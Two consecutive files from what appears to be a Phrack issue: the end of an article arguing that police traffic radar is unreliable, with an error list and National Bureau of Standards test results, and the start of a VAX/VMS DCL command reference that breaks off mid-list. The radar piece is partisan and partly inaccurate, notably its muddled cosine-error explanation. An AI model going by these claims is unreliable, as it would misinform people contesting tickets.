Right now in the United States, there are three bands that are allocated by the Federal Communications Commission (FCC) for "field disturbance sensors." These three bands have non‑technical names, and all operate in the GigaHertz range (GigaHertz is a measure of frequency, i.e. 1 GHz = 1 billion cycles per second). The following is a list of the RADAR bands (as a point of reference FM radio modulates at 0.088 GHz to 0.108 GHz).

::::::::::::::::::::::::::::::::::::::::

BAND : FREQUENCY NOTE ABOUT SPECIFIC BAND

::::::::::::::::::::::::::::::::::::::::

X‑Band : 10.525 GHz This is the frequency in which most RADAR units operate. K‑Band : 24.150 GHz K‑Band was developed to give a longer range of the beam. Ka‑Band : 26.450 GHz This bandwidth is primarily for use with RADAR units that are used for "photo‑speed traps."

::::::::::::::::::::::::::::::::::::::::

"So if RADAR is so unreliable," you ask, "why don't we have planes crashing on a daily basis?" In the first place, TRAFFIC RADAR operates on a COMPLETELY different basis than, say, the type of RADAR that tracks weather or airplanes.

The technology of traffic RADAR can in no way be compared to the accuracy of other types of RADAR. Traffic RADAR does NOT "sweep" like a regular RADAR. "Sweeping" means that the RADAR is picking up every single return signal it gets and plots them proportionally on a two‑dimensional cathode ray tube. On the other hand, traffic RADAR uses a stationary beam. Also, traffic RADAR does not use a modulated beam like regular RADAR; it uses a constant beam. ***This is an important distinction because this means that if there are multiple images, the constant RADAR beam cannot distinguish between them!***

Furthermore, traffic RADAR is limited to things such as size. It must be able to fit inside a patrol car and it is also subject to cost. That means a municipality usually picks up the lowest bid it can get from various manufacturers.

_______________________________________

| |

| Implementation of Traffic RADAR | It is important to note at this time that

|_________________________________| while government standards for accuracy

for military and commercial airline RADAR

exist, traffic RADAR is NOT subject to ANY government standards whatsoever. An attempt was made to do this by the police and two government agencies, but were refused any type of compliance with traffic speed RADAR manufacturers and the Reagan administration.

In the late 1970s, there was wide‑spread publicity of about RADAR errors, including the well known tree clocked at 86‑MPH in Florida. So, in 1979 the National Highway Safety Administration (NHSA) assigned to the National Bureau of Standards the task of testing all brands of traffic RADAR in use at that time for the purpose of discovering the source of these errors and proposing federal standards to eliminate them. In January of 1981, the proposed standards were published in the Federal Register. However, the Reagan administration took no action on the proposal (the last part of this file contains the profile from this report of various RADAR units).

After THREE years of government inaction on the problem, the International Association of the Chief of Police (IACP) provided non‑government standards by which all traffic RADAR units could be tested to assure accuracy: Volume I of the standards was published in April, 1984 and Volume II in June, of 1984.

In June of 1986, the traffic RADAR manufacturers announced the formation of their own trade association, saying that they would not submit traffic RADAR units for IACP testing! Instead, they said they would use their own standards.

So far, NO ONE has any idea of what these standards are; not the police, not the government and, most importantly, not the public! Basically, there are no performance requirements or standards for traffic RADAR and the claims of 86‑MPH trees and 28‑MPH houses cannot be refuted.

_______________________________________

| |

| Common Traffic Radar Errors | Below is a list of common errors and how they

|_____________________________| occur. This is the part of the article that

must be used in conjunction with the previous

file in this series. You must attempt, while pleading your case, to tie in some of the following errors to the situation you found yourself in when you got your speeding ticket. See Phrack #37 file #5 for details.

"The Look‑Past Error" Even when the RADAR operator aims his gun properly, the RADAR is subject to this type of error. This is caused by the RADAR reflecting off of a larger surface area in the background rather than the smaller reflective surface in the foreground. Evidence of this the Look‑Past Error was printed in the October 1979 issue of "Car and Driver." The author measured the effectiveness of KR11 RADAR system against various vehicles. The author showed that the typical sedan did not show up on the RADAR until it was less that 1200 feet away, however, a Ford 9000 semi tractor trailer could be picked up at 7600 feet.

"The Road Sign Error" Due to the reflectability of microwaves, road signs, buildings, billboards, large trees, and other stationary objects are a source of errors.

"Radio Interference Error" According to the Texas Department of Public Safety, "UHF frequencies broadcast today can force RADAR to read various numbers when transmitted within the area." This type of interference could come from the radio within the patrol car, citizens band radio, or television stations.

"Fan Interference Error" When the antenna is mounted inside the patrol car, "RADAR will have the tendency to read the pulse of the fan motor (air conditioner, heater, defroster)." This is a statement provided by the Texas Department of Public Safety who conducted a study of RADAR guns in 1987. The Texas Department of Public Safety offered no safeguard for this error.

"Beam Reflection Error" Since microwaves are so readily reflected, the Texas Department of Public Safety cautioned mounting the antenna within the patrol car. One instructor said, "It is possible that a reflective path can be set up through the rear view mirror that will produce RADAR readings on the vehicles behind the patrol car when the RADAR is aimed forward. And those vehicles can be either coming or going since traffic RADAR cannot distinguish between the direction."

"Double Bounce Error" Again, since microwaves are easily reflected, the operator must be aware of a "bad bounce" and an ordinary reflection. And, as stated before, since large objects are more efficient than smaller ones, microwaves are attracted to them more. So, in effect, you could have an initial RADAR bounce off of the target vehicle, then from the target vehicle to a house or a truck going the opposite direction, and finally back to the patrol car. This error will mathematically get larger the slower the target vehicle is moving.

"The Cosine Error" This is a mathematical error that takes place when the RADAR gun attempts to calculate the trigonomic equation that is programmed into it. The RADAR gun measures the angle at which the target enters a point and then exits a point (i.e. 25 degrees). The cosine of 25 is .9063. The RADAR gun was designed to calculate the speed of the patrol car by multiplying the speed of the patrol car (i.e. 50 mph) and the cosine of the angle (.9063) and it gets the false speed of the patrol vehicle as 45mph. Therefore, when you subtract the patrol speed from the target speed (i.e. 50, the same as the patrol car) you get the false sense that the target vehicle is traveling 5mph faster than the patrol car.

_______________________________________

| |

| Technical Analysis Report | Below is a copy of the report mentioned above

|___________________________| was conducted by the NHSA. But first I will

explain what some of the criteria were under the

testing conditions. It is also important to note that ALL RADAR units were subject to "panning error" except the CMI Speedgun‑6 and Speedgun‑8 models. Panning error occurs when the RADAR antenna is aimed at it's own display console. Unintentional errors of this sort can be eliminated when police officers are given adequate training.

TEST UNIT : Model and manufacturer of the police speed RADAR unit in question.

BAND : The short hand used for determining the broadcast frequency of the RADAR unit. X‑Band is 8.2‑12.4 GHz. K‑Band is 18.0‑26.5 GHz.

BEAM WIDTH : The number that is 1/2 of the actual beam width. In other words, if a RADAR manufacturer says the beam width is 24 degrees, the actual beam width is 48 degrees. Very deceptive, eh?

SHADOWING ERROR : This occurs in moving mode only. It is the result of the RADAR mistaking another vehicle for it's ground reference and adding speed to the target reading.

POWER SURGE : This occurs when the RADAR unit is first turned on. This also occurs when the "kill switch" is used to defeat RADAR detectors. Lag time for kill in the moving mode ranges from 1.5‑5 seconds.

EXTERNAL INTERFERENCE : The NBS test only used CB radio and police‑band radio for "external interference." There are many other kinds of outside electromagnetic interference that may effect police RADAR.

INTERNAL INTERFERENCE : Internal interference "may be caused by ANY electrical component or accessory in the vehicle, especially when the patrol car's primary power source is used to operate the RADAR.

[It should be noted that TWO of MPH's K‑55 RADAR units were tested. This demonstrates that each RADAR unit can contain its own quirks regardless of the fact that it can be from the same model from the same manufacturer.]

________________________________________

NATIONAL BUREAU OF STANDARDS SUMMARY ON TRAFFIC RADAR

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kustom Signals MR‑9 K 13.3 Minor

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Switch‑ON gave CB radio caused false CB radio caused stray reading of 7mph readings of up to 25' erroneous readings

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

MPH Industries K‑55 X 20.4 Added 12mph to target in one (first of two units) test

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

No valid reading for CB radio caused false CB radio many 2.4 sec in moving mode readings of up to 20' erroneous readings

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

MPH Industries K‑55 X 24.6 Increased target speed 12‑15mph (second of two units) about 20% of the time

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2 sec delay in moving mode, CB radio caused false CB radio cause many 2.5 sec in stationary mode alarms up to 175' away erroneous readings

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Decatur MV‑715 X 17.5 Added 8‑23mph to target in

repeated testing

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

No valid reading for Not effected by external Extreme interference 2+ seconds in moving mode CB radio from heater fan,

ignition, & CB radio

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

CMI Speedgun‑6 X 18.8 Very severe, added 12‑20 mph

to target

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

7 sec delay in moving mode, Not effected by external CB radio and police 2 sec delay in stationary CB radio radio boosts

readings 20mph

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

CMI Speedgun‑8 X 18.6 target traveling 41mph shown as

74mph; target 30mph shown as

41mph

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2 sec delay in moving mode, Not effected by external No adverse effect 1.2 sec delay in stationary CB radio noted

________________________________________

TEST UNIT BAND BEAM WIDTH SHADOWING ERROR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kustom Signals MR‑7 X 14.3 No effects noted

POWER SURGE EXTERNAL INTERF. INTERNAL INTERF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

25.4 sec delay in moving mode, Not effected by external Police band radio 0.6 sec delay in stationary CB radio caused intermittent

increases of 10mph

_______________________________________

| |

| In Closing... | I hope you have learned a little about how police speed |_______________| RADAR operates, the errors that they frequently incur, and possibly a way to avoid the highway robbery that occurs each time Officer Friendly decides to make a little extra dough for his "job security."

Also, if you are interested in obtaining cheap traffic RADAR equipment to play with, you can write to: AIS SATELLITE INC., 106 N. Seventh Street, Perkasie, PA 18944. You can also call them for a catalog at (215)453‑1400 or place orders at (800)AIS‑2001.

Users Guide to VAX/VMS Part 3 of 3

== Phrack Inc. ==

Volume Four, Issue Thirty‑Eight, File 7 of 15

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>\|

<:=‑‑=:>

<:=‑‑=:> >>>>>=‑* Users Guide to VAX/VMS *‑=<<<<< <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part III of III <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> Part E: DCL Command Reference <:=‑‑=:> <:=‑‑=:> Part F: Lexical Function Reference <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:> By Black Kat <:=‑‑=:>

<:=‑‑=:>

<:=‑‑=:><:=‑‑=:><:=‑‑=:><:=‑‑=:>/|

Index

~~~~~

Part E contains information on DCL Command Reference

Part F contains information on Lexical Function Reference

<:=‑ Part E : DCL Command Reference ‑=:>

DCL Command Reference

~~~~~~~~~~~~~~~~~~~~~

@ file_spec [p1 p2...p8]

Executes a DCL command procedure.

Qualifier:

/OUTPUT=file_spec

ACCOUNTING file_spec[,...]

Invokes the VAX/VMS Accounting Utility to collect and report accounting information.

Qualifiers:

/ACCOUNT /ADDRESS /BEFORE /BINARY /ENTRY /FULL /IDENTIFICATION /IMAGE /JOB /LOG /NODE /OUTPUT /OWNER /PRIORITY /PROCESS /QUEUE /REJECTED /REMOTE_ID /REPORT /SINCE /SORT /STATUS /SUMMARY /TERMINAL /TITLE /TYPE /UIC /USER

ALLOCATE device_name: [logical_name]

Provides exclusive use of a device and, optionally, establishes a logical name for that device. While a device is allocated, other users may access the device until you DEALLOCATE it or log out.

Qualifier:

/GENERIC

ANALYZE

Invokes various VAX/VMS utilities to examine components of the system. The default function is to examine a module (ANALYZE/OBJECT).

Qualifiers:

/CRASH_DUMP /DISK_STRUCTURE /ERROR_LOG /IMAGE /MEDIA /OBJECT /PROCESS_DUMP /RMS_FILE /SYSTEM

APPEND input_file_spec[,...] output_file_spec

Adds the contents of one or more input files to the end of a file.

Qualifiers:

/ALLOCATION /BACKUP /BEFORE /BY_OWNER /CONFIRM /CONTIGUOUS /CREATED /EXCLUDE /EXPIRED /EXTENSION /LOG /MODIFIED /NEW_VERSION /READ_CHECK /SINCE /WRITE_CHECK

ASSIGN

Equates a logical name to a physical device name, file specification or another logical name.

ASSIGN/MERGE

Merges the contents of one queue with another.

ASSIGN/QUEUE

Assigns a logical queue to a device queue.

ATTACH [process_name]

Enables you to transfer control from the current process to another process created by you (see SPAWN).

Qualifier:

/IDENTIFICATION

BACKUP input_spec output_spec

Invokes the VAX/VMS Backup Utility to perform one of the following file operations:

o Copy disk files.

o Save disk files as a save set (a single data file) on a disk or magnetic tape volume.

o Restore files from a save set.

o Compare files.

o Display information about files contained in a save set.

Qualifiers:

/BACKUP /BEFORE /BLOCK_SIZE /BRIEF /BUFFER_COUNT /COMMENT /COMPARE /CONFIRM /CRC /CREATED /DELETE /DENSITY /EXCLUDE /EXPIRED /FAST /FULL /GROUP_SIZE /IGNORE /IMAGE /INCREMENTAL /INITIALIZE /INTERCHANGE /JOURNAL /LABEL /LIST /LOG /MODIFIED /NEW_VERSION /OVERLAY /OWNER_UIC /PHYSICAL /PROTECTION /RECORD /REPLACE /REWIND /SAVE_SET /SELECT /SINCE /TRUNCATE /VERIFY /VOLUME

CALL label [p1 p2...p8]

Transfers command procedure control to a labeled subroutine in the procedure.

Qualifier:

/OUTPUT

CANCEL [process_name]

Cancels a scheduled wake_up request for the specified process.

Qualifier:

/IDENTIFICATION

CLOSE logical_name

Closes a file opened for input/output with the OPEN command, and deassigns the logical name created for the file.

Qualifiers:

/ERROR /LOG

CONNECT virtual_terminal_name

Connects a physical terminal to a virtual terminal connected to another process.

Qualifiers:

/CONTINUE /LOGOUT

CONTINUE

Resumes execution of a DCL command, program or command procedure interrupted by pressing <Ctrl‑Y> or <Ctrl‑C>. You can abbreviate the CONTINUE command to the letter C.

COPY input_file_spec[,...] output_file_spec

Creates a new file from one or more existing files. The COPY command can be used to:

o Copy an input file to an output file, optionally changing its name and location.

o Copy a group of input files to a group of output files.

o Concatenate two or more files into a single new file.

Qualifiers:

/ALLOCATION /BACKUP /BEFORE /BY_OWNER /CONCATENATE /CONFIRM /CONTIGUOUS /CREATED /EXCLUDE /EXPIRED /EXTENSION /LOG /MODIFIED /OVERLAY /PROTECTION /READ_CHECK /REPLACE /SINCE /TRUNCATE /VOLUME /WRITE_CHECK

CREATE file_spec

Creates one or more sequential disk files from records that follow in the input stream (i.e., the keyboard, a modem...). To terminate input and close the file, enter <Ctrl‑Z>.

Qualifiers:

/LOG /OWNER_UIC /PROTECTION /VOLUME

CREATE/DIRECTORY directory_spec[,...]

Creates a new directory or subdirectory for cataloging files.

Qualifiers:

/LOG /OWNER_UIC /PROTECTION /VERSION_LIMIT /VOLUME

CREATE/FDL=fdl_file_spec [file_spec]

Invokes the FDL (File Definition Language) Utility to use the specifications in a definition file to create a new (empty) data file.

Qualifier:

/LOG

DEALLOCATE device_name:

Releases a previously allocated device to the pool of available devices.

Qualifiers:

/ALL

DEASSIGN logical_name[:]

Deletes logical name assignments made with the ALLOCATE, ASSIGN, DEFINE, or MOUNT command.

Qualifiers:

/ALL /EXECUTE_MODE /GROUP /JOB /PROCESS /SUPERVISOR_MODE /SYSTEM /TABLE /USER_MODE

DEASSIGN/QUEUE logical_queue_name[:]

Deassigns a logical queue from its printer or terminal queue assignment and stops the associated logical queue.

DEBUG

Invokes the VAX/VMS Debugger.

DEFINE logical_name equivalence_name[,...]

Creates a logical name entry and assigns it an equivalence string, or a list of equivalence strings, to the specified logical name.

Qualifiers:

/EXECUTIVE_MODE /GROUP /JOB

/LOG /NAME_ATTRIBUTES /PROCESS /SUPERVISOR_MODE /SYSTEM /TABLE /TRANSLATION_ATTRIBUTES /USER_MODE /CHARACTERISTIC /FORM /KEY

DEFINE/KEY key_name string

Associates a character string and a set of attributes with a function key.

Qualifiers:

/ECHO /ERASE /IF_STATE /LOCK_STATE /LOG /SET_STATE /TERMINATE

DELETE file_spec[,...]

Deletes one or more files from a mass device.

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /ERASE /EXCLUDE /EXPIRED /LOG /MODIFIED /SINCE

DELETE/CHARACTERISTIC characteristic_name

Deletes the definition of a queue characteristic that previously was established with the DEFINE/CHARACTERISTIC command.

DELETE/ENTRY=(queue_entry_number[,...]) queue_name[:]

Deletes one or more job entries from the named queue.

DELETE/KEY key_name

Deletes a key definition established by the DEFINE/KEY command.

Qualifiers:

/ALL /LOG /STATE

DELETE/QUEUE queue_name[:]

Deletes the specified queue from the system.

DELETE/SYMBOL symbol_name

Removes a symbol definition from a local or global symbol table or removes all symbol definitions in a symbol table.

Qualifiers:

/ALL /GLOBAL /LOCAL /LOG

DEPOSIT location=data[,...]

Over‑writes the contents of a specified location or series of locations in virtual memory. The DEPOSIT and EXAMINE commands are used (mostly) while debugging programs interactively.

Qualifiers:

/ASCII /BYTE /DECIMAL /HEXADECIMAL

/LONGWORD /OCTAL /WORD

DIFFERENCES master_file_spec [revision_file_spec]

Compares the contents of two disk files and creates a listing of those records that do not match.

Qualifiers:

/CHANGE_BAR /COMMENT_DELIMITER /IGNORE

/MATCH /MAXIMUM_DIFFERENCES /MERGED

/MODE /NUMBER /OUTPUT

/PARALLEL /SEPARATED /SLP

/WIDTH /WINDOW

DIRECTORY [file_spec[,...]]

Provides a list of files or information about a file or group of files.

Qualifiers:

/ACL /BACKUP /BEFORE /BRIEF /BY_OWNER /COLUMNS /CREATED /DATE /EXCLUDE /EXPIRED /FILE_ID /FULL /GRAND_TOTAL /HEADING /MODIFIED /OUTPUT /OWNER /PRINTER /PROTECTION /SECURITY /SELECT /SINCE /SIZE /TOTAL /TRAILING /VERSIONS /WIDTH

DISCONNECT

Disconnects a physical terminal from a virtual terminal that has been connected to a process. The virtual terminal, and its associated process will remain on the system when the physical terminal is disconnected from it.

Qualifier:

/CONTINUE

DISMOUNT device_name[:]

Dismounts a disk or magnetic tape volume that previously was mounted with a MOUNT command.

Qualifiers:

/ABORT /CLUSTER /UNIT /UNLOAD

DUMP file_spec[,...]

Displays the contents of files or volumes in ASCII, decimal, hexadecimal or octal representation.

Qualifiers:

/ALLOCATED /BLOCKS /BYTE /DECIMAL /FILE_HEADER /FORMATTED /HEADER /HEXADECIMAL /LONGWORD /NUMBER /OCTAL /OUTPUT /PRINTER /RECORDS /WORD

EDIT/ACL file_spec

Invokes the Access Control List Editor to create or update access control list information for a specified object.

Qualifiers:

/JOURNAL /KEEP /MODE /OBJECT /RECOVER

EDIT/EDT file_spec

Invokes the VAX/VMS EDT text editor. The /EDT qualifier is not required, as EDT is the default editor.

Qualifiers:

/COMMAND /CREATE /JOURNAL /OUTPUT /READ_ONLY /RECOVER

EDIT/FDL file_spec

Invokes the VAX/VMS FDL (File Definition Language) Editor to create or modify File and FDL files.

Qualifiers:

/ANALYSIS /CREATE /DISPLAY /EMPHASIS /GRANULARITY /NOINTERACTIVE /NUMBER_KEYS /OUTPUT /PROMPTING /RESPONSES /SCRIPT

EDIT/TPU file_spec

Invokes the VAX/VMS Text Processing Utility. The EVE (Extensible VAX Editor) is the default interface for TPU. To invoke TPU with the EDT emulator interface, define the logical TPUSECII to point to the section file for the EDT interface as follows:

$ DEFINE TPUSECINI EDTSECINI

Qualifiers:

/COMMAND /CREATE /DISPLAY /JOURNAL

/OUTPUT /READ_ONLY /RECOVER /SECTION

EOD

Signals the end of an input stream when a command, program or utility is reading data from an input device other than a terminal.

EXAMINE location[:location]

Displays the contents of virtual memory.

Qualifiers:

/ASCII /BYTE /DECIMAL /HEXADECIMAL /LONGWORD /OCTAL /WORD

EXIT [status_code]

Terminates the current command procedure. If the command procedure was executed from within another command procedure, control will return to the calling procedure.

GOSUB label

Transfers command procedure control to a labeled subroutine.

GOTO label

Transfers control to a labeled statement in a command procedure.

HELP

Invokes the VAX/VMS Help Utility to display information about a VMS command or topic.

Qualifiers:

/INSTRUCTIONS /LIBLIST /LIBRARY /OUTPUT /PAGE /PROMPT /USERLIBRARY

IF logical_expression THEN dcl_command

Tests the value of a logical expression and executes the command following the THEN keyword if the test is true.

INITIALIZE device_name[:] volume_label

Formats and writes a label on a mass storage volume.

Qualifiers:

/ACCESSED /BADBLOCKS /CLUSTER_SIZE /DATA_CHECK /DENSITY /DIRECTORIES /ERASE /EXTENSION /FILE_PROTECTION /GROUP /HEADERS /HIGHWATER /INDEX /LABEL /MAXIMUM_FILES /OVERRIDE /OWNER_UC /PROTECTION /SHARE /STRUCTURE /SYSTEM /USER_NAME /VERIFIED /WINDOWS

INITIALIZE/QUEUE queue_name[:]

Creates and initializes queues. This command is used to create and assign names and attributes to queues. When creating a batch queue, the qualifier /BATCH is required.

Qualifiers:

/BASE_PRIORITY /BATCH /BLOCK_LMIT /CHARACTERISTICS /CPUDEFAULT /CPUMAXIMUM /DEFAULT /DISABLE_SWAPPING /ENABLE_GENERIC /FORM_MOUNTED /GENERIC /JOB_LIMIT /LIBRARY /ON /OWNER_UIC /PROCESSOR /PROTECTION /RECORD_BLOCKING /RETAIN /SCHEDULE /SEPARATE /START /TERMINAL /WSDEFAULT /WSEXTENT /WSQUOTA

INQUIRE symbol_name [prompt]

Provides interactive assignment of a value for a local or global symbol in a command procedure.

Qualifiers:

/GLOBAL /LOCAL /PUNCTUATION

LIBRARY library_file_spec [input_file_spec[,...]]

Invokes the VAX/VMS Librarian Utility to create, modify, or describe a macro, object, help, text or shareable image library.

Qualifiers:

/BEFORE /COMPRESS /CREATE /CROSS_REFERENCE /DATA /DELETE /EXTRACT /FULL /GLOBALS /HELP /HISTORY /INSERT /LIST /LOG /MACRO /NAMES /OBJECT /ONLY /OUTPUT /REMOVE /REPLACE /SELECTIVE_SEARCH /SHARE /SINCE /SQUEEZE /TEXT /WIDTH /MODULE

LINK file_spec[,...]

Invokes the VAX/VMS Linker to link object modules into a VMS program image.

Qualifiers:

/BRIEF /CONTIGUOUS /CROSS_REFERENCE /DEBUG /EXECUTABLE /FULL /HEADER /MAP /IMAGE /PROTECT /SHAREABLE /SYMBOL_TABLE /SYSLIB /SYSSHR /SYSTEM /TRACEBACK /USERLIBRARY /INCLUDE /LIBRARY /OPTIONS /SELECTIVE_SEARCH /SHAREABLE

LOGOUT

Terminates an interactive terminal session with VMS.

Qualifiers:

/BRIEF /FULL /HANGUP

MACRO file_spec[,...]

Invokes the VAX/VMS MACRO assembler to assemble MACRO assembly language source programs.

Qualifiers:

/CROSS_REFERENCE /DEBUG /DISABLE /ENABLE /LIBRARY /LIST /OBJECT /SHOW /UPDATE

MAIL [file_spec] [recipient_name]

Invokes the VAX/VMS Personal Mail Utility, which is used to send messages to, and receive messages from, other users of the system.

Qualifiers:

/SUBJECT /EDIT /SELF

MERGE input_file_spec1,input_file_spec2[,...] output_file_spec Invokes the VAX/VMS Sort Utility to combine up to 10 similarly sorted input files. The input files to be merged must be in sorted order before invoking MERGE.

Qualifiers:

/CHECK_SEQUENCE /COLLATING_SEQUENCE /DUPLICATES

/KEY /SPECIFICATION /STABLE /STATISTICS /FORMAT /ALLOCATION /BUCKET_SIZE /CONTIGUOUS /FORMAT /INDEXED_SEQUENTIAL /OVERLAY /RELATIVE /SEQUENTIAL

MESSAGE file_spec[,...]

Invokes the VAX/VMS Message Utility to compile message definition files.

Qualifiers:

/FILE_NAME /LIST /OBJECT /SYMBOLS /TEXT

MONITOR [class_name[,...]]

Invokes the VAX/VMS Monitor Utility to monitor various classes of system performance data. Data can be analyzed from a running system or from a previously created recording file. You can execute a single MONITOR request, or enter MONITOR interactive mode to execute a number of requests. The interactive mode is entered by entering the MONITOR command with no parameters or qualifiers. A MONITOR request is terminated by entering <Ctrl‑C> or <Ctrl‑Z>. Pressing <Ctrl‑C> causes MONITOR to enter interactive mode, while <Ctrl‑Z> returns control to DCL.

Parameters:

ALL_CLASSES CLUSTER DECNET

DISK DLOCK FCP

FILE_SYSTEM_CACHE IO LOCK

MODES PAGE POOL

PROCESSES SCS STATES

SYSTEM

Qualifiers:

/BEGINNING /BY_NODE /COMMENT

/DISPLAY /ENDING /FLUSH_INTERVAL

/INPUT /INTERVAL /NODE

/RECORD /SUMMARY /VIEWING_TIME

Class Name Qualifiers:

/ALL /AVERAGE /CPU

/CURRENT /ITEM /MAXIMUM

/MINIMUM /PERCENT /TOPBIO

/TOPCPU /TOPDIO /TOPFAULT

MOUNT device_name[:][,...] [volume_label[,...]] [logical_name[:]] Invokes the VAX/VMS Mount Utility to make a disk or tape volume available for use.

Qualifiers:

/ASSIST /ACCESSED /AUTOMATIC

/BIND /BLOCKSIZE /CACHE

/CLUSTER /COMMENT /CONFIRM

/COPY /DATA_CHECK /DENSITY /EXTENSION /FOREIGN /GROUP

/HDR3 /INITIALIZE /LABEL

/MESSAGE /MOUNT_VERIFICATION /OVERRIDE /OWNER_UIC /PROCESSOR /PROTECTION /QUOTA /REBUILD /RECORDZIDE /SHADOW /SHARE /SYSTEM

/UNLOAD /WINDOWS /WRITE

ON condition THEM dcl_command

Defines the DCL command to be executed when a command or program executed with a command procedure encounters an error condition or is interrupted by the user pressing <Ctrl‑Y>.

OPEN logical_name[:] file_spec

Opens a file for input/output. The OPEN command assigns a logical name to the file and places the name in the process logical name table.

Qualifiers:

/APPEND /ERROR /READ /SHARE /WRITE

PATCH file_spec

Invokes the VAX/VMS Patch Utility to patch an executable image, shareable image or device driver image.

Qualifiers:

/ABSOLUTE /JOURNAL /NEW_VERSION /OUTPUT /UPDATE /VOLUME

PHONE [phone_command]

Invokes the VAX/VMS Phone Utility. PHONE provides the facility for you to communicate with other users on the system or for any other VAX/VMS system connected to your system via a DECnet network.

Qualifiers:

/SCROLL /SWITCH_HOOK /VIEWPORT_SIZE

PRINT file_spec[,...]

Queues‑up one or more files for printing.

Qualifiers:

/AFTER /BACKUP /BEFORE /BURST /BY_OWNER /CHARACTERISTICS /CONFIRM /COPIES /CREATED /DELETE /DEVICE /EXCLUDE /EXPIRED /FEED /FLAG /FORM /HEADER /HOLD /IDENTIFY /JOB_COUNT /LOWERCASE /MODIFIED /NAME /NOTE /NOTIFY /OPERATOR /PAGES /PARAMETERS /PASSALL /PRIORITY /QUEUE /REMOTE /RESTART /SETUP /SINCE /SPACE /TRAILER /USER

PURGE [file_spec[,...]]

Deletes all but the highest versions of the specified files.

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /ERASE /EXCLUDE /EXPIRED /KEEP /LOG /MODIFIED /SINCE

READ logical_name[:] symbol_name

The READ command inputs a single record from the specified input file and assigns the contents of the record to the specified symbol name.

Qualifiers:

/DELETE /END_OF_FILE /ERROR /INDEX /KEY /MATCH /NOLOCK /PROMPT /TIME_OUT

RECALL [command_specifier]

Recalls previously entered commands for reprocessing or correcting.

Qualifier:

/ALL

RENAME input_file_spec[,...] output_file_spec

Modifies the file specification of an existing disk file or disk directory.

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /EXCLUDE /EXPIRED /LOG /MODIFIED /NEW_VERSION /SINCE

REPLY ["message"]

Allows a system operator to communicate with system users.

Qualifiers:

/ABORT /ALL /BELL /BLANK_TAPE /DISABLE /ENABLE /INITIALIZE_TAPE /LOG

/NODE /NOTIFY /PENDING /SHUTDOWN /STATUS /TEMPORARY /TERMINAL /TO

/URGENT /USERNAME /WAIT

REQUEST "message"

Writes a message on the system operator's terminal, and optionally requests a reply.

Qualifiers:

/REPLY /TO

RETURN [status_code]

Terminates a GOSUB statement and returns control to the command following the GOSUB command.

RUN

Performs the following functions:

o Places an image into execution in the process.

o Creates a subprocess or detached process to run a specified image.

RUNOFF

Performs the following functions:

o Invokes the DIGITAL Standard Runoff text formatter to format one or more ASCII files.

o Invokes the DIGITAL Standard Runoff text formatter to generate a table of contents for one or more ASCII files.

o Invokes the DIGITAL Standard Runoff text formatter to generate an index for one or more ASCII files.

SEARCH file_spec[,...] search_string[,...]

Searches one or more files for the specified string(s) and lists all the lines containing occurrences of the strings.

Qualifiers:

/EXACT /EXCLUDE /FORMAT /HEADING /LOG /MATCH /NUMBERS /OUTPUT /REMAINING /STATISTICS /WINDOW

SET ACCOUNTING

Enables or disables logging various accounting activities in the system accounting log file SYS$MANAGER:ACCOUNTING.DAT. The SET ACCOUNTING command is also used to close the current accounting log file and to open a new one with a higher version number.

Qualifiers:

/DISABLE /ENABLE /NEW_FILE

